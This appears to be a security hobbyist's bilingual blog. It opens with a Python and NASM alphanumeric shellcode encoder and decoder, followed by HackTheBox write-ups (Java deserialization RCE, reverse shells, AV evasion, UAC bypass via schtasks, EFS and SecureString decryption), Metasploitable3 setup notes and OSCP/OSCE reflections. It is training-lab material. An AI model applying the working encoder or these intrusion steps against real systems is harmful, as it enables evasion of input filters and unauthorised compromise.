自作alphanumeric shellcode encoder
昔シェルコードの勉強してるときに、文字列だけで構成するのが The Art of Hackingに書いてありまして。 冒頭部分しか書いてなかった(と思う)ので、勝手に自分で完成させたのですが 誰かの参考になれば幸いです。
たどたどしい説明と変なコードですが。
ちなみにディスアセンブルはここが便利です。
#!/usr/bin/python # understanding the alphanumeric shellcode concept ''' [i] going to split each hex in the shellcode in 2 part. For example, 0x31 is going to be 0011/0001 in bin. then, add 0x41 for converting to chars ['00110001', '11000000', '01010000', '01101000', '00101111', '00101111', '01101100', '01110011', '01101000', '00101111', '01100010', '01101001', '01101110', '10001001', '11100011', '01010000', '10001001', '11100010', '01010011', '10001001', '11100001', '10110000', '00001011', '11001101', '10000000'] [['0011', '0001'], ['1100', '0000'], ['0101', '0000'], ['0110', '1000'], ['0010', '1111'], ['0010', '1111'], ['0110', '1100'], ['0111', '0011'], ['0110', '1000'], ['0010', '1111'], ['0110', '0010'], ['0110', '1001'], ['0110', '1110'], ['1000', '1001'], ['1110', '0011'], ['0101', '0000'], ['1000', '1001'], ['1110', '0010'], ['0101', '0011'], ['1000', '1001'], ['1110', '0001'], ['1011', '0000'], ['0000', '1011'], ['1100', '1101'], ['1000', '0000']] printing obfuscated chars DBMAFAGICPCPGMHDGICPGCGJGOIJODFAIJOCFDIJOBLAALMNIA alpha shellcode 0x44,0x42,0x4d,0x41,0x46,0x41,0x47,0x49,0x43,0x50,0x43,0x50,0x47,0x4d,0x48,0x44,0x47,0x49,0x43,0x50,0x47,0x43,0x47,0x4a,0x47,0x4f,0x49,0x4a,0x4f,0x44,0x46,0x41,0x49,0x4a,0x4f,0x43,0x46,0x44,0x49,0x4a,0x4f,0x42,0x4c,0x41,0x41,0x4c,0x4d,0x4e,0x49,0x41, [Finished in 0.1s] ''' import re data="\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" buff = ['{:08b}'.format(i) for i in bytearray(data)] test = [(re.findall(".{4}",j)) for j in buff] print test final = [] for k,v in test: final.extend ([hex(int(k,2) + 0x41), hex(int(v,2) + 0x41)]) alphanumeric_encoded = "" obfuscated_chars ="" for shellcode in final: obfuscated_chars += chr(int(shellcode,16)) alphanumeric_encoded += shellcode+"," # .replace("0x", "\\x") print obfuscated_chars print alphanumeric_encoded
だいぶ前に書いたので、自分でも謎な部分があります。
; Filename: alpha.nasm ; ; Purpose: to understand alphanumeeric shellcode global _start section .text _start: jmp short call_decoder decoder: pop esi ; put the obfuscated shellcode to esi push esi ; save the starting point to the stack ; "DBMAFAGICPCPHDGIGICPGCGJGOIJODFAIJOCFDIJOBLAALMNIA" lea edi, [esi+1] ; put the shellcode to the edi. one char right ; "BMAFAGICPCPHDGIGICPGCGJGOIJODFAIJOCFDIJOBLAALMNIA" xor eax,eax xor ebx,ebx mov al,1 ; I think I tried to use this as a counter? decode: mov bl,byte [esi] ; move the first byte to ebcx sub bl, 41h ; deduce 41h (so back to the first 4 bit) shl bl, 4 ; slide 4 bit to the left add bl,byte [edi] ; add the next value to the ebx sub bl, 41h ; deduce 41h mov byte [esi],bl ; overwrite first byte (so D-41h --> 4 bit left --> add B-41h) decode_second: inc esi ; BMAFAGICPCPHDGIGICPGCGJGOIJODFAIJOCFDIJOBLAALMNIA inc edi inc edi ; AFAGICPCPHDGIGICPGCGJGOIJODFAIJOCFDIJOBLAALMNIA cmp byte [edi], 0x41 ; I tried to use sign flag (if the negative value, SF is on ) js final ; so this part should be skipped while reading the shellcode mov bl,byte [esi+eax] sub bl, 41h shl bl, 4 add bl,byte [edi] sub bl, 41h mov byte [esi],bl add al,1 jmp short decode_second final: pop esi call esi call_decoder: call decoder Shellcode: db 0x44,0x42,0x4d,0x41,0x46,0x41,0x47,0x49,0x43,0x50,0x43,0x50,0x47,0x4d,0x48,0x44,0x47,0x49,0x43,0x50,0x47,0x43,0x47,0x4a,0x47,0x4f,0x49,0x4a,0x4f,0x44,0x46,0x41,0x49,0x4a,0x4f,0x43,0x46,0x44,0x49,0x4a,0x4f,0x42,0x4c,0x41,0x41,0x4c,0x4d,0x4e,0x49,0x41,0x40,0x40 ```
HTB Arkham writeup-Java Encrypted Deserialization attack(English)
Summary
This host is relatively hard to get the initial foothold; relatively easy to do privilege escalation. That said, I needed to roll up my sleeve to fully understand how's everything working for getting Alfred's shell. Couldn't believe this is a "medium" level machine.
I believe any automated scanners cannot find the injection point because we need the encryption/ decryption key in the first place (not sure if brute force attack is a reasonable option here). Yes, the chain of human mistakes made everything possible.
Useful documents
Other than 8, no documents mention how to inject encrypted malicious object. That is a part of the reason I'm writing this post. I think I have to give back something valuable to the community!
- https://medium.com/abn-amro-red-team/java-deserialization-from-discovery-to-reverse-shell-on-limited-environments-2e7b4e14fbef
- https://securitycafe.ro/2017/11/03/tricking-java-serialization-for-a-treat/
- https://www.n00py.io/2017/11/exploiting-blind-java-deserialization-with-burp-and-ysoserial/
- https://stackoverflow.com/questions/22814/how-to-decode-viewstate
- https://www.synacktiv.com/ressources/JSF_ViewState_InYourFace.pdf
- https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html?source=post_page---------------------------
- https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a
- https://gist.github.com/cdowns71/76d99ad0829ceef3a83761dbeee3b66d
- https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf
- https://github.com/joaomatosf/jexboss
Attack tree-ish mind map
Port scan
First impression
SMB --> unusual open port (8080: HTTP) might be the way.
SMB
enum4linux. Oh well...
smbclient
Found something, but encrypted.
Personally, I always try to avoid bruteforcing. No harm to give it a shot with "foremost" (forensic tool).
http://foremost.sourceforge.net/
Originally developed by the United States Air Force Office of Special Investigations and The Center for Information Systems Security Studies and Research , foremost has been opened to the general public.
"bak" is usual suspects.
Yeah, I found a key... for what? Hmm, the key for this? Anyway, let's check 8080 out.
8080
The application seemed to be under development. Only the subscription function worked.
the official document says as follows:
- Base64 is used for all encoding and decoding.
- DES is the default encryption algorithm
- ECB is the default mode
- PKCS5Padding is the default padding
- HmacSHA1 is the default MAC algorithm
So this looks very easy (quickly came up with a few lines of Python codes), but I couldn't get the big picture at this point. Let's try to understand the object.
Knowing the object
original object
wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy...
Percent encoded. This has nothing to do with deserialization per se. URL decode. Referring to the document, we need to base 64 decode.
Àz4ÂbîåÇ´¾#µä-F¾!×eóÞ)æx8~Ûr£\LµE)VUVÇðÔïBÙà9´ÜÀö¡ãaêñ£HÖï;µ:Jz¥Rg¸\ëLYXRñMb
DES encrypted? Yes. ah, where to put HMAC? Do we have to take PKCS5Padding into consideration?
While I've been struggling, I found someone's memo about how to exploit this object (please refer to 8 in the above). I finally understood where the HMAC should be added. Tried code injection (ping back to my Kali) and confirmed that worked.
If you're a member of HTB VIP and never tried this machine, get your hands dirty now, I insist!
FUD
I tried a few obfuscation tools (like TheFatRat) but all was detected. Not sure what kind of EDR sat there at that time (Windows Defender, actually). The only exception was nc64.exe (Now I'm thinking "Invoke-PowerShellIcmp"(nishang) might work. I don't have a chance to check that out yet though).
Internal Enumeration
"whoami" ; Alfred (the author might be a big fan of Batman). I found a zip file on "Downloads" directory. OST file with an attachment below.
UAC bypass
As far as I know, the most painless way to get the shell is schtasks. Check out other writeups how everyone over-complicates the problem.
Someone might say this is not the pure "bypass". Yeah that might be right. Haha, I'm just lazy.
HTB Arkham writeup-Java Encrypted Deserialization attack(Japanese)
概要
今回はJavaデシリアライズアタックが大きな山場でした。RCEするには暗号化が必要で、ysoserial+アルファのペイロードが必要でした。これでもmediumか...といった感じの難易度。リバースシェルを取ってからは、意外とすんなりと。HTBで仲良くなった中東かどこかのRed Teamerと競っていたので、雑な感じでのクリアです。 競り勝ったのは良いんですが、親父と年が近い!と言われて落ち込みました...そんな若かったのかあいつ。
そもそもキーが手に入らないとRCEが成立しないので、まあでたらめにインジェクトしても500が返って来るのが関の山でしょう。
アタック成立までに見た参考資料
- https://medium.com/abn-amro-red-team/java-deserialization-from-discovery-to-reverse-shell-on-limited-environments-2e7b4e14fbef
- https://securitycafe.ro/2017/11/03/tricking-java-serialization-for-a-treat/
- https://www.n00py.io/2017/11/exploiting-blind-java-deserialization-with-burp-and-ysoserial/
- https://stackoverflow.com/questions/22814/how-to-decode-viewstate
- https://www.synacktiv.com/ressources/JSF_ViewState_InYourFace.pdf
- https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html?source=post_page---------------------------
- https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a
- https://gist.github.com/cdowns71/76d99ad0829ceef3a83761dbeee3b66d
- https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf
- https://github.com/joaomatosf/jexboss
アタックツリー的な物
ポートスキャン
作戦
パッと見で、ファイル共有をちゃんと見る→変なポートで動いてるWebアプリ→それでも駄目なら80かな?という印象。まさかあんなに苦戦するとは...
SMB
enum4linux。あら…
それではsmbclient
何かあるのは良いんですが、暗号化されてました。
個人的にブルートフォースをかける前に、無駄でも良いから色々やってみる主義で forensicツールのforemostをかけてみます。
http://foremost.sourceforge.net/
Originally developed by the United States Air Force Office of Special Investigations and The Center for Information Systems Security Studies and Research , foremost has been opened to the general public.
かっちょええっすね。
bakとか、アレなやつでは。
やはり何らかのキーぽいです。
これか...?と思いながら当初の予定通り8080へ。
8080
どうも文脈としては開発途中という設定な感じで、完全に動作はしませんでした。 subscriptionのみが動作していたので、そこをburpで見てみるとやはり。
先ほどググった公式ドキュメントにも
- Base64 is used for all encoding and decoding.
- DES is the default encryption algorithm
- ECB is the default mode
- PKCS5Padding is the default padding
- HmacSHA1 is the default MAC algorithm
とあるし、じゃあysoserialでペイロードを作って、この通りやったらいけるのでは と思いました(実際その通りではあったんですが)。早速pythonで!と思いましたが、結局どうなってんのこれ?というところがいまいち理解できず。
wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy...
見た目でURLエンコードされてるのは分かるので、URL・b64デコード
Àz4ÂbîåÇ´¾#µä-F¾!×eóÞ)æx8~Ûr£\LµE)VUVÇðÔïBÙà9´ÜÀö¡ãaêñ£HÖï;µ:Jz¥Rg¸\ëLYXRñMb
DESだよな...あ、行けた。PKCS5PaddingとHmacSHA1は?
と色々試行錯誤をしますが、まったく動かず。色々とググっているうちに 資料の8番を見つけます。あーHMACお尻に付けるのかというのがようやく分かったので、自機にpingをするようなコードをインジェクトすると、pingバックを確認。cmdからpowershellを使って、リバースシェルを実行させることにしました。
FUD
既存のメジャーどころのツール全滅で、強力なEDRでもいるのかな?と思いながらnc64.exeを送ってみた所、これは大丈夫でした。ホワイトリストにでも入ってるのか?と思いながら。
Internal Enumeration
"whoami " はalfredで、”Downloads”ディレクトリでzipファイルを見つけました。
中身はbatmanのパスワード入りOSTファイル。(下記は添付してあった画像ファイル)
UAC bypass
またschtasksです。便利なもので。
metasploitable3導入メモ
日本語でmetasploitable3の情報が少ないので、メモしておきます。
最近出したudemyのコースでも解説してます(その部分は無料)
まずvagrantのインストール
Virtualboxがインストール済みの前提で。
prebuiltのイメージを使うので
https://github.com/rapid7/metasploitable3
ここに書いてある通りにやるだけ
curlのとこだけ、powershellでやりました。
mkdir metasploitable3-workspace
cd metasploitable3-workspace
Invoke-WebRequest -URI https://raw.githubusercontent.com/rapid7/metasploitable3/master/Vagrantfile -OutFile Vagrantfile
あとは
結構時間がかかります。
HTB Helpline writeup (English)
HTB Helpline writeup
Thanks egre55. I've learned a lot from this machine!
Also, big thanks to ATK and Senn for helping me to solve this challenge!
Overview
- Even with the highest priv, the flags were not visible
--> EFS encrypted. Two ways to decrypt. Even in constraint language mode, you can still decrypt the file.
- There is a harder way to get the flaghttp://blackpentesters.blogspot.com/2017/01/decrypting-efs-encrypted-files.html
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
- schtasks is your firend ; bypass UAC
"Attack tree"-ish mind map
Port Scan
root@kali:~/hackthebox/Helpline# nmap -A -p- 10.10.10.132
135/tcp open msrpc Microsoft Windows RPC
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8080/tcp open http-proxy -
_http-title: ManageEngine ServiceDesk Plus
SMB didn't give out any information. In such cases, I always look into Web applications.
Web application authentication bypass
Quickly google the application and the version; found the seemingly working exploit. By the way, never ever run exploits blindly without reading the code carefully!
Logged in as "guest"
replace the cookies with the ones shown in the exploit
Admin!
I found "Custom Schedule" with "Executor" function. Seemed that OS commands could be run there.
At this point, no idea with what kind of priv the application was running. Worth trying if the outbound connection is allowed.
powershell in-memory attack
I used my favorite "Nishang".
nishang
https://github.com/samratashok/nishang
SYSTEM priv? Hmm... strange. Too good to be true.
Anyway, where are the flags?
PS C:\Users> get-childitem -recurse
Directory: C:\Users
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 12/20/2018 11:09 PM 32 root.txt
Directory: C:\Users\leo\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/15/2019 12:18 AM 526 admin-pass.xml
Directory: C:\Users\tolu\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/20/2018 11:12 PM 32 user.txt
See? This is definitely a big problem!
Darn, EFS. Honestly, I'm not good at openssl mumbo-jumbo.
Token impersonation
The quickest way for decryption is a token impersonation.
I confirmed that leo's process is running.
The admin-pass.xml has long digits. After some googling, I realized it is securestring.
Powershell Secure string
There are two ways to decrypt the powershell securestring. The first one didn't work due to constraint language mode.
GetNetworkCredential worked.
Getting root.txt
I could log on to the target via psexec.py, but the "whoami" still showed "SYSTEM". So decided to use schtasks. Believe or not, the good and old technique still works!
Getting user.txt
zachary belongs to "Event Log Readers". Seems the author want me to read event log. Let's compile all the logs into a single text file and grep "tolu".
$logfile=gc .\test.txt
Yeah, there it is.
After putting "tolu" into local admin, the rest is the same as above.
HTB Helpline writeup (Japanese)
HTB Helpline writeup
Thanks egre55. I've learned a lot from this machine!
注:許可されていない外部機器に向け、掲載された内容を実行した結果
生じた損害等の一切の責任を負いかねますので、ご了承ください
一日1時間ほどしか出来ず、結局攻略まで一週間程かかってしまいました…
概要
出来るだけ詳細にと思ったのですが、無駄に長いので所々端折ります。
個人的にメインのテーマはEFSでした。やり方としてはかなり横着した感じで、ちゃんとしたやり方があります。
ポートスキャン
root@kali:~/hackthebox/Helpline# nmap -A -p- 10.10.10.132
135/tcp open msrpc Microsoft Windows RPC
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8080/tcp open http-proxy -
_http-title: ManageEngine ServiceDesk Plus
ファイル共有からせめて情報だけでも何か取れないものかと思いましたが
全く取れない様子。大体こういう時は、webアプリを見る事にしてます。
Web application authentication bypass
アプリケーションとバージョン名で検索すると、意外にあっさりとExploitが出てきました。
変なコードが紛れてないか3回ほど読んで、大丈夫そうなのでDL。自分に馴染みのない言語で書いてあったり、妙なエンコーディングがしてあるコードは安易に実行するとひどい目に合うのでご注意ください。
実行は自己責任で、仮想環境で!
まずはguestでログイン
Cookieを先ほどの物と置き換えてF5。
Adminでログインできました
私はここでAdminパネルの"Custom Schedule"に目を付けましたが、他のやり方もあるようです。
どうやらExecutorでコマンドが実行できるらしい。
この時点で、どういう権限でこのアプリが動いているのかは不明ですが、外向きの通信が許可されているのか、試してみる価値はありそうです。
powershell in-memory attack
作戦としては単純で、nishang のTCPリバースシェルを直接ターゲットのメモリにいれ,自分のマシン(kali)に接続させます。
nishang
https://github.com/samratashok/nishang
いきなり最上位の権限が取れました。
とりあえずフラグのありかを探ります。
PS C:\Users> get-childitem -recurse
Directory: C:\Users
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 12/20/2018 11:09 PM 32 root.txt
Directory: C:\Users\leo\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/15/2019 12:18 AM 526 admin-pass.xml
Directory: C:\Users\tolu\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/20/2018 11:12 PM 32 user.txt
System権限でも中を見れない…
ググると、どうもEFSっぽいなぁと。
やはりEFS
Token impersonation
EFSの復号化に必要な条件を変更せずに見るには、手っ取り早く
token impersonationをします。事前にleoのプロセスがあるのは確認済み。
admin-pass.xmlの中を見れたのは良いのですが、パッと見あまり馴染みのない文字列。
いろいろ長さを変えて検索するとSecureStringの様です。
Powershell Secure string
securestirng の復号化は2種類ありますが、当初Marshalを使用する方しか知りませんでした。こちらを使おうとすると、constraint language modeのため、はじかれます。
GetNetworkCredentialの方を試すしかなさそうです。
Getting root.txt
adminのパスワードは手に入ったのですが、psexec.pyで外部から接続すると
systemの権限のままなので、このままではroot.txtが見れません。
他のwriteupを見るとpowershellでやっていますが、私はschtasksを使うことにしました。
作戦としては単純で、meterpreter shellをadmin権限でたたかせようと言うだけです。
Getting user.txt
ユーザーの中でzacharyのパスワードのみ弱く、"Event Log Readers"に所属していたのでイベントログを調査。チマチマとやるのは性に合わないので、全部抜きます。
toluでgrep
$logfile=gc .\test.txt
ありました。
toluの権限ではタスクスケジューラを使えなかったのでadminに入れます。
後は上記と一緒。
行けました
My OSCP/OSCE experience
As requested, I've written a post in English about Offensive Security Certified Professional/ Expert without disclosing any details. The only topic here: "time management".
I fully respect this company since the day I came across the post below and never respond to any technical questions about the exam.
https://www.offensive-security.com/offsec/what-it-means-to-be-oscp/
OSCP exam
OSCP exam is very hard because of the 24h time limitation.
Technically, You're ready to take the exam if you've completed PWK lab and comfortable with hacking machines (easy to medium boxes) in "Hack The Box" without any hints. Even if you're not now, you'll be confident in the end as long as you go extra miles and do your homework diligently.
So now, you believe in yourself. Great. You can hack away any machines in front of you. Cool. Your Cherrytree (or Keepnote, or Onenote, whatever) must be filled with practical knowledge. Super nice. What about the time frame?
24 hours: What's your plan?
muts says at the very beginning of the video
"Give me six hours to chop down a tree and I will spend the first four sharpening the ax."
In retrospect, I think I misunderstood this message. I was thinking he's saying "beef up your technical (mainly enumeration ) skills then you'll pass the exam". (maybe correct)
In my personal view, he might be asking " Can you make a proper exit plan in any desperate situations and drop any false hopes within the allotted time frame? "
Meaning, what if your ax turned out to be complete garbage after 4 hours hardwork? What if you've been shaping the wrong part and realized that after 4 hours? Can you still fight back?
My experience
I kept 4 hours for a nap, the rest is 4 hours each. No obvious metasploitable vulns. Panic set in. Rage quit. Failed. Tried hard. Made silly assumptions. Failed again. Tried harder. Got tunnel vision and couldn't get out of the rabbit hole. Scanned multiple times with hoping something missing pops up. Failed again miserably. On the 4th attempt, boooom, I could pass. (Obviously, I'm not a l33t)
OSCE
I don't think I need to explain what OSCE is. There are many nice posts on how to prepare for this course. (In Japanese, maybe my previous post is the first one. yay!)
Some guys say that the course is outdated (and yeah, right), but I don't think it's a problem. Have you ever read "The Art of War"? What do you think if one of your friends says "The book is outdated". Ah, yeah, she's absolutely correct. But is that the only point?
Anyway, never skip exercises in the course PDF. Do SLAE.
Download at least 10 exploits from Exploit-DB. Fuzz and write your own exploits.
My experience
I was totally scared. There are many horror stories on the Internet. I had a very hard time for the OSCP exam. The nightmare again?
As soon as the VPN package arrived, I started digging in. Wait! I think I can manage this challenge. Hooley! Root!
Within 20 hours, I could compromise 2 hosts (both are the highest points). I was very happy because I could defeat super saiyans. Took a nap.
After 4 hours, I woke up. Took a bath with my baby son. Started looking into the low point machines.
Nothing worked! Seriously, nothing! It took 20 hours straight to manage these hosts. Struggled for 44 hours.Finally, full points! After double-checking my exploits and screenshots, I went to bed.
Conclusions
After taking 2 certs from Offsec, I started to be able to see the big picture behind cyber attacks. Highly recommend not only for red teamers but for blue teamers.